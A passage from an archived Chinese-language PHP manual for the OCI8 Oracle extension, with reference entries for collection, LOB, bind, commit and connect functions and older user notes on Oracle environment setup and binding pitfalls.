  end loop;
end;
";

$stmt=OCIParse($conn, $sql);
$curs=OCINewCursor($conn);

$offset=100; // dont fetch the first 100 rows
$limit=10; // we want exactly 10 rows

OCIBindByName($stmt,":c_init",$offset,32);
OCIBindByName($stmt,":c_data",$curs,-1,OCI_B_CURSOR);

OCIExecute($stmt);
OCIExecute($curs);

for ($i=0;$i<$limit&&OCIFetchinto($curs,$cols,OCI_ASSOC);$i++)
  print $cols[ROW_ID]."\n";

OCIFreeStatement($stmt);
OCIFreeCursor($curs);
OCILogoff($conn);

?>
ruudb at stress dot utwente dot nl
27-Oct-2001 07:28
I had big problems to get an Oracle 7 server working with the OCI8 client and PHP under Linux, while connection to an Oracle 8 server worked great (In fact I got an ORA-01005 when connecting to Oracle 7). I see that more people have this problem, so here is the solution:

1. Make sure the NLS files are in your ORACLE_HOME subtree under $ORACLE_HOME/ocommon/nls/admin/data.

2. Make sure the ORA_NLS33 parameter is unset or alternatively pointing to the above directory ($ORACLE_HOME/ocommon/nls/admin/data).

3. Add "export ORACLE_HOME=/usr/local/oracle" (for example) to your apache startup script. This is important!! Adding this variabele in the httpd.conf OR in your PHP script will _NOT_ solve the problem: the directory has to be known before the Oracle library is loaded.

Thanks to Ron Reidy for helping to tackle this problem.
ned at wgtech dot com
08-Sep-2001 03:48
Using OCI8 it seems putenv() doesn't seem to work for oracle environment (at least with Linux/Apache) variables, but once you get connected try issuing the sql stament:
ALTER SESSION SET NLS_whatever = value;
Seems to overide any default NLS parameters.
doug at redhive dot com
20-Jul-2001 05:38
if you feel like you have too many oracle statements clouding up your php, i came up with a function to open a connection (if necessary), parse your sql statement, and return the executed query.  after you call the function, you can do whatever needs to be done.  makes like so much simpler: (do whatever you want with the errors)

function execute_query($query, &$connected) {
   global $ORACLE_USER, $ORACLE_PASS, $ORACLE_SID;

   if(!$connected) {
       $connected = @OCIPLogon($ORACLE_USER, $ORACLE_PASS,  $ORACLE_SID);

       if($error = OCIError()) {
           die("<font color=red>ERROR!! Couldn't connect to server!</font>");
       }
   }

   $stmt = @OCIParse($connected, $query);
   if($error = OCIError($cn))    {
       die("<font color=red>ERROR!! Statement syntax error!</font>");
   }

   @OCIExecute($stmt);
   if($error = OCIError($stmt)) {
       die("<font color=red>ERROR!! Could not execute statement!</font>");
   }

   return $stmt;
}
alexis at castanares dot com
11-Jul-2001 04:15
If you are getting the nasty ORA-12154 errors, try adding your http daemon user (listed in you httpd.conf file as "User" & "Group") to the same group as the Oracle Owner user, then be sure that the ORACLE_HOME environment variable is set to the Oracle Home Path, when you start apache.
jasendorf at lcounty dot com
24-May-2001 06:48
VERY IMPORTANT!  OCIPLogon only keeps a persistent connection if you are running PHP as a module.  This is particularly important to Windows users who are used to running PHP as a CGI.
fsegtrop at estiem dot org
22-May-2001 10:14
When using PHP4 in CGI-mode with Windows NT or Windows 2000 with IIS or Apache, make sure that the TNSNAMES.ORA and the SQLNET.ORA do not contain DOS/Windows CR/LF line endings.<br> Instead, they must have UNIX (only LF) endings. Otherwise, you will get an ORA-12154 error (TNS cannot resolve service name) when connecting to a remote database.<br>
This all does not matter if you use the ISAPI mode.

Frank
junk at netburp dot com
19-Oct-2000 05:39
Here's a clue about rowid.

Don't forget about the oracle functions:

"rowidtochar" and "chartorowid"

"select rowidtochar(rowid) as FOO from table ...."

When you want to pass the rowid in a form or link, that's
the only way to go.
shmengie_2000 at yahoo dot com
03-Oct-2000 06:43
couple of notes about startup/shutdown on linux:  (redhat, maybe others)

export LD_PRELOAD=/usr/lib/libpthread.so

Caused the start/stop script to fail to stop the httpd process.
The LD_PRELOAD environment var caused the 'ps' command to core dump.  I went bald figuring that out.

Easiest fix I could think of was to move all the oracle/php varialble exports so they are only set in the start section of the httpd script.

Never thought setting those vars globally in the script would cause problems.  That's what I get for thinking...

One other note:  Make sure the httpd process is shutdown before Oracle.

eg:
/etc/rc.d/rc0.d/K15httpd
/etc/rc.d/rc0.d/K25Oracle

Lingering connections to oracle may cause shutdown to take forever.

gl & hf

-Joe
ojones at dotclick dot com
19-May-2000 10:14
If you're using OCI calls from apache/mod_php, and getting ORA-12514 errors, it's important to make sure your ORACLE_HOME environment variable is defined when you start apache.  If you use /etc/rc.d/init.d/httpd to start apache, simply put the environment variable definition in there.

This ORA-12514 error is baffling, because there isn't any such error code.  It actually should be ORA-12154 (but there's an error-code transposition somewhere in Oracle 8.1.5.0.2, on Linux).
add a note add a note

后退 | 起点 | 前进
openssl_x509_read | 上一级 | OCI-Collection->append


OCI-Collection->append

(no version information, might be only in CVS)

OCI-Collection->append -- 向 collection 增加单元

说明

class OCI-Collection {

bool append ( mixed value )

}

在 collection 后面附加一个单元。value 参数可以是字符串或数字。

如果成功则返回 TRUE，失败则返回 FALSE。

参数

value

要加入 collection 的值。

参见

OCI-Collection->assign

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Oracle 函数 | 上一级 | OCI-Collection->assign


OCI-Collection->assign

(no version information, might be only in CVS)

OCI-Collection->assign -- 从现有的另一个 collection 向 collection 赋值

说明

class OCI-Collection {

bool assign ( OCI-Collection from )

}

从之前建立的另一个 collection 向 collection 赋值。两个 collection 都必须在使用之前用 oci_new_collection() 创建。

如果成功则返回 TRUE，失败则返回 FALSE。

参数

from

OCI-Collection 类的一个实例。

参见

OCI-Collection->append

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Collection->append | 上一级 | OCI-Collection->assignElem


OCI-Collection->assignElem

(no version information, might be only in CVS)

OCI-Collection->assignElem -- 给 collection 中的单元赋值

说明

class OCI-Collection {

bool assignElem ( int index, mixed value )

}

给索引为 index 的单元赋值。value 参数可以是字符串或数字。

如果成功则返回 TRUE，失败则返回 FALSE。

参数

index

value

参见

OCI-Collection->getElem

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Collection->assign | 上一级 | OCI-Collection->free


OCI-Collection->free

(no version information, might be only in CVS)

OCI-Collection->free -- 释放关联于 collection 的对象的资源

说明

class OCI-Collection {

bool free ( void )

}

释放关联于 collection 的对象的资源。

如果成功则返回 TRUE，失败则返回 FALSE。

参见

oci_new_collection

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Collection->assignElem | 上一级 | OCI-Collection->getElem


OCI-Collection->getElem

(no version information, might be only in CVS)

OCI-Collection->getElem -- 返回单元的值

说明

class OCI-Collection {

mixed getElem ( int index )

}

返回索引为 index（从 1 开始）的单元的值。

如果该单元不存在，OCI-Collection->getElem() 返回 FALSE，如果该单元为 NULL 则返回 NULL，如果该单元是字符串数据类型的列则返回字符串，如果该单元是数字字段则返回数字。

参数

index

参见

OCI-Collection->assignElem

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Collection->free | 上一级 | OCI-Collection->max


OCI-Collection->max

(no version information, might be only in CVS)

OCI-Collection->max -- 返回 collection 中单元的最大数目

说明

class OCI-Collection {

int max ( void )

}

返回 collection 中单元的最大数目。如果返回值为 0，则单元的数目无限制。如果出错 OCI-Collection->max() 返回 FALSE。

参见

OCI-Collection->size

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Collection->getElem | 上一级 | OCI-Collection->size


OCI-Collection->size

(no version information, might be only in CVS)

OCI-Collection->size -- 返回 collection 中的单元数目

说明

class OCI-Collection {

int size ( void )

}

返回 collection 中的单元数目。出错则返回 FALSE。

参见

OCI-Collection->max

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Collection->max | 上一级 | OCI-Collection->trim


OCI-Collection->trim

(no version information, might be only in CVS)

OCI-Collection->trim -- 从 collection 尾端开始删除单元

说明

class OCI-Collection {

bool trim ( int num )

}

从 collection 尾端开始删除 num 个单元。

如果成功则返回 TRUE，失败则返回 FALSE。

参数

num

参见

OCI-Collection->size

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Collection->size | 上一级 | OCI-Lob->append


OCI-Lob->append

(no version information, might be only in CVS)

OCI-Lob->append -- Appends data from the large object to another large object

说明

class OCI-Lob {

bool append ( OCI-Lob lob_from )

}

Appends data from the large object to the end of another large object.

Writing to the large object with OCI-Lob->append() will fail if buffering was previously enabled. You must disable buffering before appending. You may need to flush buffers with OCI-Lob->flush before disabling buffering.

如果成功则返回 TRUE，失败则返回 FALSE。

参数

lob_from

参见

OCI-Lob->flush
OCI-Lob->setBuffering
OCI-Lob->getBuffering

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Collection->trim | 上一级 | OCI-Lob->close


OCI-Lob->close

(no version information, might be only in CVS)

OCI-Lob->close -- 关闭 LOB 描述符

说明

class OCI-Lob {

bool close ( void )

}

OCI-Lob->close() 关闭 LOB 或 FILE 的描述符。本函数仅用于 OCI-Lob->writeTemporary。

如果成功则返回 TRUE，失败则返回 FALSE。

参见

OCI-Lob->writeTemporary

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->append | 上一级 | OCI-Lob->eof


OCI-Lob->eof

(no version information, might be only in CVS)

OCI-Lob->eof -- Tests for end-of-file on a large object's descriptor

说明

class OCI-Lob {

bool eof ( void )

}

Returns TRUE if internal pointer of large object is at the end of LOB. Otherwise returns FALSE.

参见

OCI-Lob->size

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->close | 上一级 | OCI-Lob->erase


OCI-Lob->erase

(no version information, might be only in CVS)

OCI-Lob->erase -- Erases a specified portion of the internal LOB data

说明

class OCI-Lob {

int erase ( [int offset [, int length]] )

}

Erases a specified portion of the internal LOB data starting at a specified offset. Parameters length and offset are optional. OCI-Lob->erase() erases all LOB data by default.

For BLOBs, erasing means that the existing LOB value is overwritten with zero-bytes. For CLOBs, the existing LOB value is overwritten with spaces.

OCI-Lob->erase() returns the actual number of characters/bytes erased or FALSE in case of error.

参数

offset

length

参见

OCI-Lob->truncate

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->eof | 上一级 | OCI-Lob->export


OCI-Lob->export

(no version information, might be only in CVS)

OCI-Lob->export -- 将 LOB 的内容导出到文件中

说明

class OCI-Lob {

bool export ( string filename [, int start [, int length]] )

}

将 LOB 的内容导出到文件中。文件名由 filename 参数给出。可选参数 start 指定从哪里开始导出，而 length 指定要被导出的数据长度。

如果成功则返回 TRUE，失败则返回 FALSE。

参数

filename

start

length

参见

OCI-Lob->import

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->erase | 上一级 | OCI-Lob->flush


OCI-Lob->flush

(no version information, might be only in CVS)

OCI-Lob->flush -- Flushes/writes buffer of the LOB to the server

说明

class OCI-Lob {

bool flush ( [int flag] )

}

OCI-Lob->flush() actually writes data to the server. By default, resources are not freed, but using flag OCI_LOB_BUFFER_FREE you can do it explicitly. Be sure you know what you're doing - next read/write operation to the same part of LOB will involve a round-trip to the server and initialize new buffer resources. It is recommended to use OCI_LOB_BUFFER_FREE flag only when you are not going to work with the LOB anymore.

OCI-Lob->flush() returns FALSE if buffering was not enabled or an error occurred.

如果成功则返回 TRUE，失败则返回 FALSE。

参数

flag

参见

OCI-Lob->getBuffering
OCI-Lob->setBuffering

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->export | 上一级 | OCI-Lob->free


OCI-Lob->free

(no version information, might be only in CVS)

OCI-Lob->free -- 释放与 LOB 描述符所关联的资源

说明

class OCI-Lob {

bool free ( void )

}

释放与 LOB 描述符所关联的资源，该资源是之前由 oci_new_descriptor() 所分配的。

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->flush | 上一级 | OCI-Lob->getBuffering


OCI-Lob->getBuffering

(no version information, might be only in CVS)

OCI-Lob->getBuffering -- Returns current state of buffering for the large object

说明

class OCI-Lob {

bool getBuffering ( void )

}

Returns FALSE if buffering for the large object is off and TRUE if buffering is used.

参见

OCI-Lob->setBuffering

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->free | 上一级 | OCI-Lob->import


OCI-Lob->import

(no version information, might be only in CVS)

OCI-Lob->import -- 将数据从文件导入 LOB

说明

class OCI-Lob {

bool import ( string filename )

}

将 filename 中的数据保存到大对象中的当前位置。

如果成功则返回 TRUE，失败则返回 FALSE。

参数

filename

参见

OCI-Lob->export
OCI-Lob->write

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->getBuffering | 上一级 | OCI-Lob->load


OCI-Lob->load

(no version information, might be only in CVS)

OCI-Lob->load -- 返回大对象的内容

说明

class OCI-Lob {

string load ( void )

}

返回大对象的内容。如果达到了 memory_limit，脚本执行会终止，因此要确保 LOB 不会超过此限制。大多数情况下推荐使用 OCI-Lob->read 替代。如果出错 OCI-Lob->load() 返回 FALSE。

参见

OCI-Lob->read

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->import | 上一级 | OCI-Lob->read


OCI-Lob->read

(no version information, might be only in CVS)

OCI-Lob->read -- Reads part of the large object

说明

class OCI-Lob {

string read ( int length )

}

Reads length bytes from the current position of LOB's internal pointer. Reading stops when length bytes have been read or end of the large object is reached. Internal pointer of the large object will be shifted on the amount of bytes read.

Returns FALSE in case of error.

参数

length

参见

OCI-Lob->load
OCI-Lob->write

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->load | 上一级 | OCI-Lob->rewind


OCI-Lob->rewind

(no version information, might be only in CVS)

OCI-Lob->rewind -- Moves the internal pointer to the beginning of the large object

说明

class OCI-Lob {

bool rewind ( void )

}

Sets the internal pointer to the beginning of the large object.

如果成功则返回 TRUE，失败则返回 FALSE。

参见

OCI-Lob->seek
OCI-Lob->tell

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->read | 上一级 | OCI-Lob->save


OCI-Lob->save

(no version information, might be only in CVS)

OCI-Lob->save -- 将数据保存到大对象中

说明

class OCI-Lob {

bool save ( string data [, int offset] )

}

将 data 保存到大对象中。offset 参数可以用来指定从大对象开头起的偏移量。

如果成功则返回 TRUE，失败则返回 FALSE。

参数

data

offset

参见

OCI-Lob->write
OCI-Lob->import

add a note add a note User Contributed Notes
02-Jun-2006 06:23
If you are using Save() on an update statement, PHP will throw a warning similar to "OCILobWrite: OCI_INVALID_HANDLE..." if your update statement did not catch any rows with its where clause.
add a note add a note

后退 | 起点 | 前进
OCI-Lob->rewind | 上一级 | OCI-Lob->seek


OCI-Lob->seek

(no version information, might be only in CVS)

OCI-Lob->seek -- Sets the internal pointer of the large object

说明

class OCI-Lob {

bool seek ( int offset [, int whence] )

}

Sets the internal pointer of the large object. Parameter offset indicates the amount of bytes, on which internal pointer should be moved from the position, pointed by whence:

OCI_SEEK_SET - sets the position equal to offset
OCI_SEEK_CUR - adds offset bytes to the current position
OCI_SEEK_END - adds offset bytes to the end of large object (use negative value to move to a position before the end of large object)

如果成功则返回 TRUE，失败则返回 FALSE。

参数

offset

whence

参见

OCI-Lob->rewind
OCI-Lob->tell
OCI-Lob->eof

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->save | 上一级 | OCI-Lob->setBuffering


OCI-Lob->setBuffering

(no version information, might be only in CVS)

OCI-Lob->setBuffering -- Changes current state of buffering for the large object

说明

class OCI-Lob {

bool setBuffering ( bool on_off )

}

lob->setBuffering() sets the buffering for the large object, depending on the value of the on_off parameter. Repeated calls to lob->setBuffering() with the same flag will return TRUE. The values for on_off are: TRUE for on and FALSE for off.

Use of this function may provide performance improvements by buffering small reads and writes of LOBs by reducing the number of network round-trips and LOB versions. oci_lob_flush() should be used to flush buffers, when you have finished working with the large object.

如果成功则返回 TRUE，失败则返回 FALSE。

参数

on_off

参见

OCI-Lob->getBuffering

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->seek | 上一级 | OCI-Lob->size


OCI-Lob->size

(no version information, might be only in CVS)

OCI-Lob->size -- Returns size of large object

说明

class OCI-Lob {

int size ( void )

}

Returns length of large object value or FALSE in case of error. Empty objects have zero length.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->setBuffering | 上一级 | OCI-Lob->tell


OCI-Lob->tell

(no version information, might be only in CVS)

OCI-Lob->tell -- Returns current position of internal pointer of large object

说明

class OCI-Lob {

int tell ( void )

}

Returns current position of a LOB's internal pointer or FALSE if an error occurred.

参见

OCI-Lob->rewind
OCI-Lob->size
OCI-Lob->eof

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->size | 上一级 | OCI-Lob->truncate


OCI-Lob->truncate

(no version information, might be only in CVS)

OCI-Lob->truncate -- Truncates large object

说明

class OCI-Lob {

bool truncate ( [int length] )

}

If parameter length is given, OCI-Lob->truncate() truncates large object to length bytes. Otherwise, OCI-Lob->truncate() will purge the LOB completely.

如果成功则返回 TRUE，失败则返回 FALSE。

参数

length

参见

OCI-Lob->erase

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->tell | 上一级 | OCI-Lob->write


OCI-Lob->write

(no version information, might be only in CVS)

OCI-Lob->write -- Writes data to the large object

说明

class OCI-Lob {

int write ( string data [, int length] )

}

Writes data from the parameter data into the current position of LOB's internal pointer. If the parameter length is given, writing will stop after length bytes have been written or the end of data is reached, whichever comes first.

OCI-Lob->write() returns the number of bytes written or FALSE in case of error.

参数

data

length

参见

OCI-Lob->read

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->truncate | 上一级 | OCI-Lob->writeTemporary


OCI-Lob->writeTemporary

(no version information, might be only in CVS)

OCI-Lob->writeTemporary -- 写入一个临时的大对象

说明

class OCI-Lob {

bool writeTemporary ( string data [, int lob_type] )

}

新建一个临时的大对象并将 data 写入其中。

lob_type 参数可以是下列之一：

OCI_TEMP_BLOB - 用于创建临时的 BLOB
OCI_TEMP_CLOB - 用于创建临时的 CLOB

OCI-Lob->writeTemporary() 默认会创建一个 CLOB。

对对象的工作结束后应使用 OCI-Lob->close。

如果成功则返回 TRUE，失败则返回 FALSE。

参数

lob_type

参见

OCI-Lob->close

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
OCI-Lob->write | 上一级 | oci_bind_by_name


oci_bind_by_name

(PHP 5)

oci_bind_by_name -- 绑定一个 PHP 变量到一个 Oracle 位置标志符

说明

bool oci_bind_by_name ( resource stmt, string ph_name, mixed &variable [, int maxlength [, int type]] )

oci_bind_by_name() 将 PHP 变量 variable 绑定到 Oracle 的位置标志符 ph_name。该变量是否会被用作输入输出是在运行时决定的，并且函数给该变量分配必要的存储空间。length 参数确定该绑定的最大长度，如果将 length 设为 -1，oci_bind_by_name() 会用 variable 变量的当前长度确定绑定的最大长度。

如果要绑定一个抽象数据类型（LOB/ROWID/BFILE），需要先用 oci_new_descriptor() 函数分配空间。length 没有用于抽象数据类型，应被设为 -1。type 参数告诉 Oracle 要使用什么样的描述符。可能的值为：

  • OCI_B_FILE - 对应于 BFILE；

  • OCI_B_CFILE - 对应于 CFILE；

  • OCI_B_CLOB - 对应于 CLOB；

  • OCI_B_BLOB - 对应于 BLOB；

  • OCI_B_ROWID - 对应于 ROWID；

  • OCI_B_NTY - 对应于有名字的数据类型；

  • OCI_B_CURSOR - 对应于游标，是之前由 oci_new_cursor() 创建的。

例子 1. oci_bind_by_name() 例子

<?php
/* oci_bind_by_name example thies at thieso dot net (980221)
  inserts 3 records into emp, and uses the ROWID for updating the
  records just after the insert.
*/

$conn = oci_connect("scott", "tiger");

$stmt = oci_parse($conn, "
                          INSERT INTO
                                     emp (empno, ename)
                                              VALUES
                                     (:empno,:ename)
                            RETURNING
                                     ROWID
                                 INTO
                                     :rid
                                         ");

$data = array(
              1111 => "Larry",
              2222 => "Bill",
              3333 => "Jim"
             );

$rowid = oci_new_descriptor($conn, OCI_D_ROWID);

oci_bind_by_name($stmt, ":empno", $empno, 32);
oci_bind_by_name($stmt, ":ename", $ename, 32);
oci_bind_by_name($stmt, ":rid",   $rowid, -1, OCI_B_ROWID);

$update = oci_parse($conn, "
                            UPDATE
                                  emp
                               SET
                                  sal = :sal
                             WHERE
                                  ROWID = :rid
                             ");
oci_bind_by_name($update, ":rid", $rowid, -1, OCI_B_ROWID);
oci_bind_by_name($update, ":sal", $sal,   32);

$sal = 10000;

foreach ($data as $empno => $ename) {
    oci_execute($stmt);
    oci_execute($update);
}

$rowid->free();

oci_free_statement($update);
oci_free_statement($stmt);

$stmt = oci_parse($conn, "
                          SELECT
                                *
                            FROM
                                emp
                           WHERE
                                empno
                              IN
                                (1111,2222,3333)
                              ");
oci_execute($stmt);

while ($row = oci_fetch_assoc($stmt)) {
    var_dump($row);
}

oci_free_statement($stmt);

/* delete our "junk" from the emp table.... */
$stmt = oci_parse($conn, "
                          DELETE FROM
                                     emp
                                WHERE
                                     empno
                                   IN
                                     (1111,2222,3333)
                                   ");
oci_execute($stmt);
oci_free_statement($stmt);

oci_close($conn);
?>

记住，本函数删除了行尾的空白字符。见以下例子：

例子 2. oci_bind_by_name() 例子

<?php
$connection = oci_connect('apelsin','kanistra');
$query = "INSERT INTO test_table VALUES(:id, :text)";

$statement = oci_parse($query);
oci_bind_by_name($statement, ":id", 1);
oci_bind_by_name($statement, ":text", "trailing spaces follow     ");
oci_execute($statement);
/*
This code will insert into DB string 'trailing spaces follow', without
trailing spaces
*/
?>

例子 3. oci_bind_by_name() 例子

<?php
$connection = oci_connect('apelsin','kanistra');
$query = "INSERT INTO test_table VALUES(:id, 'trailing spaces follow      ')";

$statement = oci_parse($query);
oci_bind_by_name($statement, ":id", 1);
oci_execute($statement);
/*
And this code will add 'trailing spaces follow      ', preserving
trailing whitespaces
*/
?>

警告

不要将 magic_quotes_gpc 或 addslashes() 与 oci_bind_by_name() 同时使用，因为不需要转义，任何自动加上的引号都会被写入数据库中，因为 oci_bind_by_name() 不能分辨有意加上的引号和魔术引号。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocibindbyname() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_bind_by_name() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
js at mcs dot be
20-Feb-2006 08:48
Be careful that the variable argument is a reference. So, the following code does not work:
  foreach($some_array as $key => $value)
  {
   OCIBindByName($stmt, $key, $value);
  }

I assume this is because the contents of $value changes, even though the reference remains the same, so all bound variables end up pointing to the last loop iteration's value.

Instead use the following:
  foreach($some_array as $key => $value)
  {
   OCIBindByName($stmt, $key, $some_array[$key]);
  }
ehsmeng
17-Feb-2006 04:43
If you do a wrapper for these functions there is a bug I found on php5.1.1 / oracle 9 / windows xp. see the section with oci_bind_by_name.

function db_layer_insert_1_row ($dbquery, $bindvar = array())
{
   global $_db_layer_database;
   global $_db_layer_lasterror;

   if (false === ($stid = oci_parse($_db_layer_database, $dbquery))) {
       db_layer_lasterror ();
       return -1;
   }

   // Bind variables. NOTE substituting $bindvar[$bcol] with $bval causes
   // all variables to be set to the last value of $bval?!?!
   foreach ($bindvar as $bcol => $bval) {
       oci_bind_by_name($stid, $bcol, $bindvar[$bcol]); //$bval); <- bug?!
   }

   ...
hfuecks at nospam dot org
17-Aug-2005 04:12
Note that there have been some changes on the constant identifiers and the documentation is currently not entirely accurate.

Running the following script;

<?php
foreach (array_keys(get_defined_constants()) as $const) {
   if ( preg_match('/^OCI_B_/', $const) ) {
       print "$const\n";
   }
}
?>

Under PHP 4.4.0 I get;

OCI_B_SQLT_NTY < renamed to OCI_B_NTY with PHP5
OCI_B_BFILE
OCI_B_CFILEE
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN

Under PHP 5.0.4 I get;

OCI_B_NTY
OCI_B_BFILE < docs are wrong right now
OCI_B_CFILEE < docs are wrong right now
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN < it's a mystery
add a note add a note

后退 | 起点 | 前进
OCI-Lob->writeTemporary | 上一级 | oci_cancel


oci_cancel

(PHP 5)

oci_cancel -- 取消从游标读取数据

说明

bool oci_cancel ( resource stmt )

oci_cancel() 使一个游标无效，释放所有与之关联的资源并取消了从中读取的能力。

如果成功则返回 TRUE，失败则返回 FALSE。

在 PHP 5.0.0 之前的版本必须使用 ocicancel() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_cancel() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_bind_by_name | 上一级 | oci_close


oci_close

(PHP 5)

oci_close -- 关闭 Oracle 连接

说明

bool oci_close ( resource connection )

oci_close() 将 Oracle 连接 connection 关闭。

注: 自版本 1.1 起 oci_close() 正确关闭 Oracle 连接。使用 oci8.old_oci_close_semantics 选项来恢复本函数的旧行为。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocilogoff() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_close() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_cancel | 上一级 | oci_commit


oci_commit

(PHP 5)

oci_commit -- 提交未执行的事务处理

说明

bool oci_commit ( resource connection )

oci_commit() 将 Oracle 连接 connection 上正在运行的事务中所有未执行的语句提交处理。

例子 1. oci_commit() 例子

<?php
    // Login to Oracle server
    $conn = oci_connect('scott', 'tiger');

    // Parse SQL
    $stmt = oci_parse($conn, "
                              INSERT INTO
                                         employees (name, surname)
                                   VALUES
                                         ('Maxim', 'Maletsky')
                             ");

    /* Execute statement
       OCI_DEFAULT tells oci_execute()
       not to commit statement immediately */
    oci_execute($stmt, OCI_DEFAULT);

    /*
    ....
    Parsing and executing other statements here ...
    ....
    */

    // Commit transaction
    $committed = oci_commit($conn);

    // Test whether commit was successful. If error occurred, return error message
    if (!$committed) {
        $error = oci_error($conn);
        echo 'Commit failed. Oracle reports: ' . $error['message'];
    }

?>

如果成功则返回 TRUE，失败则返回 FALSE。

注: 当关闭连接或脚本结束时（看哪个先）事务会自动回卷。需要明确地调用 oci_commit() 来提交事务，或 oci_rollback() 来中止事务。

注: 在 PHP 5.0.0 之前的版本必须使用 ocicommit() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_commit() 的别名。不过其已被废弃，不推荐使用。

参见 oci_rollback() 和 oci_execute()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_close | 上一级 | oci_connect


oci_connect

(PHP 5)

oci_connect -- 建立一个到 Oracle 服务器的连接

说明

resource oci_connect ( string username, string password [, string db [, string charset [, int session_mode]]] )

oci_connect() 返回一个大多数 OCI 调用都需要的连接标识符。可选的第三个参数可以包含想要连接的本地 Oracle 的实例的或者在 tnsnames.ora 中的条目的名字。如果没有指定可选的第三个参数，PHP 使用环境变量 ORACLE_SID（Oracle 实例）或 TWO_TASK（tnsnames.ora）来确定连接哪一个数据库。

session_mode 参数自版本 1.1 起可用并接受如下值：OCI_DEFAULT，OCI_SYSOPER 和 OCI_SYSDBA。如果指定了 OCI_SYSOPER 或 OCI_SYSDBA 其中之一，oci_connect() 将尝试使用外部认证信息建立特权连接。特权连接默认被禁止。要启用，需要将 oci8.privileged_connect 设为 On。

注: 如果 PHP 用的是 Oracle Instant Client，可以用容易的命名连接方法，说明见这里：http://download-west.oracle.com/docs/cd/B12037_01/network.101/b10775/naming.htm#i498306。基本上这意味着可以指定 "//db_host[:port]/database_name" 作为数据库名。但如果想用命名的旧方法则必须设定 ORACLE_HOME 或 TNS_ADMIN 二者之一。

注: 对 oci_connect() 用同样的参数第二次及之后的调用将返回第一次调用所返回的连接句柄。也就是说对一个句柄发出的查询也适用于另一个句柄，因为它们是同一个句柄。此行为演示于下面的例 1。如果需要两个句柄在事务上互相隔离开，应该使用 oci_new_connect() 来替代。

使用 Oracle 服务器 9.2 或更高版本，可以指定 charset 参数，其将被用于新的连接。如果使用 Oracle 服务器低于 9.2 的版本，本参数将被忽略并以 NLS_LANG 环境变量替代之。

例子 1. oci_connect() 例子

<?php
echo "<pre>";
$db = "";

$c1 = oci_connect("scott", "tiger", $db);
$c2 = oci_connect("scott", "tiger", $db);

function create_table($conn)
{
  $stmt = oci_parse($conn, "create table scott.hallo (test varchar2(64))");
  oci_execute($stmt);
  echo $conn . " created table\n\n";
}

function drop_table($conn)
{
  $stmt = oci_parse($conn, "drop table scott.hallo");
  oci_execute($stmt);
  echo $conn . " dropped table\n\n";
}

function insert_data($conn)
{
  $stmt = oci_parse($conn, "insert into scott.hallo
            values('$conn' || ' ' || to_char(sysdate,'DD-MON-YY HH24:MI:SS'))");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn . " inserted hallo\n\n";
}

function delete_data($conn)
{
  $stmt = oci_parse($conn, "delete from scott.hallo");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn . " deleted hallo\n\n";
}

function commit($conn)
{
  oci_commit($conn);
  echo $conn . " committed\n\n";
}

function rollback($conn)
{
  oci_rollback($conn);
  echo $conn . " rollback\n\n";
}

function select_data($conn)
{
